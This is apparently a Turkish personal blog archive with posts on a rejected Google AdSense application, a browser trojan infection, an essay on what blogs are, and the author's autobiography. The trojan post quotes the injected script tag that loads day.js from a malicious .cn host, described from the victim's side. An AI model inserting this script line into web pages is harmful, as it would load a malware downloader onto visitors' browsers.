os olarak etiketli yazılar
Google Adsense Karmaşası..
12 Tem
Dört gün önce adsense eski hesaplarımın kapatılmasındna dolayı ( ki sebebini inanın bende bilmiyordum :) ) tekrar başvuu yapmıştım. ve aldığım cevap oldukça net oldu :)
Merhaba Serkan CURA, Google AdSense’e göstermiş olduğunuz ilgiye
teşekkür ederiz. Başvurunuzu gözden geçirirken, hesabınızın geçersiz
tıklama etkinliği nedeniyle devre dışı bırakılmış bir hesapla yakından
ilişkili olduğunu belirledik. Hem reklamverenlerimizin hem de diğer
AdSense yayıncılarımızın çıkarlarını korumakla yükümlü olduğumuz için
başvurunuzu onaylayamıyoruz. Ayrıca, AdSense programına gelecekte de
katılamayacağınızı belirtmek istiyoruz. Bunun sizin açınızdan
sıkıntılara yol açabileceğinin farkındayız ve anlayışınız ve
işbirliğiniz için şimdiden teşekkür ederiz. Hesabınız veya yaptığımız
işlemler hakkında sorularınız varsa, lütfen bu e-postayı yanıtlamayın.https://www.google.com/adsense/support/bin/answer.py?answer=57153&hl=tr
adresini ziyaret ederek daha fazla bilgi edinebilirsiniz.
Saygılarımızla, Google AdSense Ekibi
Şimdi anlamadığım ben hiç bi yaptırım yapmadan ve es kaza haricinde kendimin tıklamadığım reklamların nasıl oluyorda geçersiz tıklama olarak kabul edip reddede biliyor gerçekten anlayabilmiş değilim. bunları kim inceliyo onuda bilmiyorum ama gerçekten geçerli bi sebep olduğuna inanmıyorum. Hadi warezden kapatılmış olsa gam yemiyeceğim. ForumSevdamın analytics istatistiklerine göre günlük 5000 üzerinde gösterim alıyor ve günlük ortalama tıklama sayısıda 30 u geçmiyorken o gösterime rağmen nasıl oluyorda geçersiz yıklama raporu çıkıyo bilen birileri anlatırsa çok sevinicem neyse. bundan sonra anti-adsense fun açmaya karar verdim :)
JS/TrojanDownloader.Iframe.NAL
4 Tem
İki gündür başım bu virüsle belada virüs bulaşma algoritamsı oldukça iyi hazırlanmış. :) herhangi bir internet sayfası açmanız halinde ( i.e yada firefox yada opera farketmiyor) her sayfaya <script src=”http://mx.content-type.cn:443/day.js”></script> kodunu ekleyerek sürekli iframe mantı ile size saldırı yapıyor ve temprory internet files içindeki content.ie5 dosyasına kendisni kopyalıyor. kaspersky virüsün dosayasını silebiliyor ama sayfalara eklediği kod çalışmaya bi şekilde devam ediyor ve öyle bi an geliyoki tüm internetinizi resmen sömürürcesine engelliyor. ve çözümünüde dün akşam itibari ile buldum gerçi kökten bir çözüm değil ama yinede sistemin rahatlamasına yetiyor.
AntiARP denilen bir program kurduğunuzda sorun ortadan kalkıyor gelen paketleri kontrol ederek istenmeyen özelliklere sahip olanları engelleyen bu program bu konuda gerçekten başarılı ;)
Programın Resmi sitesi : http://www.antiarp.com/English/e_index.htm
Blog Nedir?
3 Tem

Hakkında sayfalarca yazı yazılan, tartışılan webloglar çağımızın
uğraşısı konumunda. Yine de Türkiye’de internet kullanıcısı olan bir
çok insanın blog hakkında hiç bir fikri olmadığı bildirgeç’te yapılan bir anket sonucunda ortaya çıktı. O halde bir bakalım, neymiş şu blog denen meret.
Blog kelimesinin özünde web-log vardır. Webloglara kısaca internette seyir
defteri tutmak denebilir. Kelime anlamı olaraksa, genellikle ters
kronolojik sırada (en yeni en üstte olacak şekilde) sıralandırılmış,
tek bir sayfa üzerinde bir çok yazı gösterme esasına dayanan internet
uygulamasıdır. ilerleyen senelerde “we” düşmüş, sadece “blog” olarak kullanılmaya başlanmıştır. Blog yazan kişilere de “blogger” denilmektedir. Bir yazı yazıp gönderme işlemine de kısaca “bloglama”
deniyor. 1997 yılından beri var olan bu uygulama, tasarımcı ve
programcıların ilginç internet sitelerinin linklerini unutmamak için
kendi sayfalarına yazmalarıyla başladı. 1999 yılında ortaya çıkan pek
çok blog-yayınlama (blog publishing) aracıyla birlikte bloglama,
programcılar arasındaki bir aktivite olmaktan çıkıp, en az bilgisayar
kullanma becerisine sahip olan bir insanın bile anlayacağı kadar basit
hale indirgendi. Daha önce bir yazıda blogların ne kadar çoğaldığını anlatmıştım.
Technorati’nin 7,8 milyon blogu indekslediği, günde 30.000 – 40.000
blogun yaratıldığı düşünülürse, bloglar bu yüzyıla damgasını vuracak
bir olay olmaya doğru gidiyor. Çünkü format çok basit; sıklıkla güncellenen, tek sayfa üstünde ters kronolojik yazılar.
Hangi
konuda yazarlarsa yazsınlar, pek çok insan için bloglar kişisel
dışavurum aracı haline geldi. Herhangi bir editoryal düzenleme
görmeden, insanların içinden geldiği gibi, kendi düşüncelerini özgürce
anlattıkları ortamlar oldu. Şu sıralar bloggerların da birer medya
üyesi olduğu, her blogun kendi başına bir yayın aracı vazifesi gördüğü görüşü ortalıkta geziyor. Politika, günlük hayat, spor, teknoloji, müzik, yemek hatta dantel, hamburger gibi her konuda pek çok bloga rastlamak olası. Hatta bir çok büyük şirket CEO’sunun ya da şirketlerin kendi blogları olmaya başladı.
Insanları
bir site tasarlamaktansa blog açmaya yönelten nedir peki? Bir site
açmak için en başta domain ve host gibi teknik konulara para ödemek
gerekiyor. Iş siteyi açmakla da bitmiyor, yazılarınızı yayınlayabilmek
için temel bir program yazmanız, sitenize gelen insanların
yazdıklarınız hakkında görüş bildirebilmesi için ayrı bir yorum sistemi
kurmanız, görüntüsü içinse tasarım yapmanız gerekiyor. Blog sitelerinin
güzelliği, sizi bu dertlerden kurtarmaları. Bir çok blog servisi hosting konusunda para talep etmeden,
seçtiğiniz bir isimle sizi kendi alan adları altında host ediyor
[http://xxx.blogspot.com, http://xxx.livejournal.com]. Kurmuş oldukları
otomatik yazı gönderme sistemleri sayesinde sizi programla, daha
önceden hazırlamış oldukları şablonlarla
da tasarım derdinden kurtarıyor. Bu şablonlar (hazır tasarımlar)
istediğiniz zaman bir başkasıyla değiştirebileceğiniz şekilde
hazırlanmış oluyor. Hatta üzerlerinde kendiniz oynayıp basit değişiklikler
yapabilirsiniz. Eğer canınız tamamen kendi yaptığınız bir dizaynı
kullanmak istersen, buna izin veren blog siteleri de mevcut. Birçok
blog sitesinde hazır olarak gelen yorum sistemleri sayesinde de
yazdıklarınız hakkında diğer insanların görüşlerini kolayca öğrenip,
geribildirim alabiliyorsunuz. Yazılarınıza kimlerin link verdiğini
gösteren trackback sistemleri bile var.
Insanlar blog
sitelerinde genellikle tek başlarına yazsalar da, bir kaç insanın
toplanıp beraberce yazdığı siteler de mevcut. Daha çok birbirini
tanıyan ya da ortak bir özellikleri olan (yemek, şehir hikayeleri
blogları gibi) insanların, ortak paydada toplanması olarak görebiliriz
bunu. Bu tür bloglara community blog deniyor.
Community blogları sayesinde insanlar internette sosyalleşme olanağı
buluyor, kendilerini bir yere ait hissediyorlar. Yorum fasilitesi
sayesinde aynı şeylerle ilgilenen insanlar tanışma ve tartışma olanağı
da buluyor. Türkiye’de bloglarla ilgilenen insanları bir araya toplamak
için kurulmuş bir de site bulunuyor, ve büyük bir hızla yoluna devam ediyor.
Uzun zamandan beri bu işle uğraşan ve blog dünyasında tanınan isimler bloglarından kitap çıkartmayı düşünür hale geldiler. Gazetelerde köşe yazarı olan kişilerin
dahi insanlara daha hızlı ve çok ulaşabilmek adına blog siteleri var.
internetteki hızlı link dolaşımı sayesinde daha önce hiç görmediğiniz
insanların hayatları ve görüşleri hakkında bilgi sahibi olabiliyor,
birçok konuya farklı açıdan bakan yorumlara erişebiliyorsunuz. Aynı
şekilde kendi sesinizi de dünyaya duyurmuş ve bunu bir e-mail atma
basitliğinde gerçekleştirmiş oluyorsunuz.
Türkiye’de
bloglama genellikle online günlük tutma olarak görülse de, blog özünde
kendiniz için tuttuğunuz notlar ve diğer insanların okumasını
istediğiniz yazılardır. Bunlar insandan insana değişebilir; hayat,
spor, çiçekçilik, biyoloji veya nanoteknoloji, seçim size kalmış.
Ben kimim?
3 Tem
Gerçekten zor bir soru benim için insanın kendisini tanıması değil de kendini anlatması zor olsa gerek; ya da bana öyle geliyor. :)
Kısaca anlatmak gerekirse; 1984 yılının ekim ayında güzel bir sonbahar gününde açmışım gözlerim hayata. arkasıda gelmiş çorap söküğü gibi önce çocukluk yılları ki gerçekten çok güzel anlarımın olduğu yıllarım olması sebebiyle hayatımın en güzel dönemlerini yaşamışım Bursa’nın sokaklarında. Ardından ilkokul çağı gelmiş ve Bursa Zİya Gökalp İlkokulu’na kaydımızı yaptırmışız. Sonrasında ise Bursa Anadolu İmam Hatip Lisesi’ne o zamanki Liselere Giriş Sınavı ( ki o zamanlar anadolu liseleri orta okuldan itibaren öğrenci alıyorlardı) kaydımızı yaptırdık ve hayatımdaki en güzel yıllarımı geçridiğim anlar başlamış oldu. Oradaki arkadaşlık ve eğitim kalitesini daha sonraki hiç bir eğitim hayatımda yaşamadım.
Orta okuluda tamamladıktan sonra biraz daha hayat telaşını yaşamaya başladık biraz eğitim sistemi birazda bizim gelecke kaygımızdan ötürü Liseyi Bursa Ali Osman Sönmez Anadolu Teknik Lisesi’nin Bilgisayar Donanım Bölümünde okumaya karar verdim. Böylece hayatımda şu ana kadar beni yalnız bırakmayan bilgisayarla tanışmamda bu yıllarda oldu :) . Orayıda bitirdikten sonra asıl sınav yani ÖSS telaşı sardı eteklerimizi. İlk sene yerleşememenin stresi ile ikinci sene Uludağ Üniversitesi Teknik Bilimler Meslek Yüksek Okulu Bilgisayar Teknolojileri ve Programlama ( yazıncaya kadar canım çıkıyor hala :) ) Bölümüne kaydımızı yaptırabildik. Nihayetinde Orasıda bi şekilde bitti ve Dikey Geçiş Sınavı ile halen okumakta olduğum Selçuk Üniversitesi Teknik Eğitim Fakültesi Bilgisayar Sistemleri Öğretmenliği Bölümün’e gelmiş olduk ve üç seneyide bitirdik dördüncü ve inşallah sonuncu senemize de eğitim dönemimin başlaması ile bizlerde bitmesi ümidi ile başlayacağız.. Şimdilik Bukadar yetsin ilerleyen zamanlarda yine eklentiler yaparım bu konuya…
Görüşmek Dileğiyle
Serkan CURA


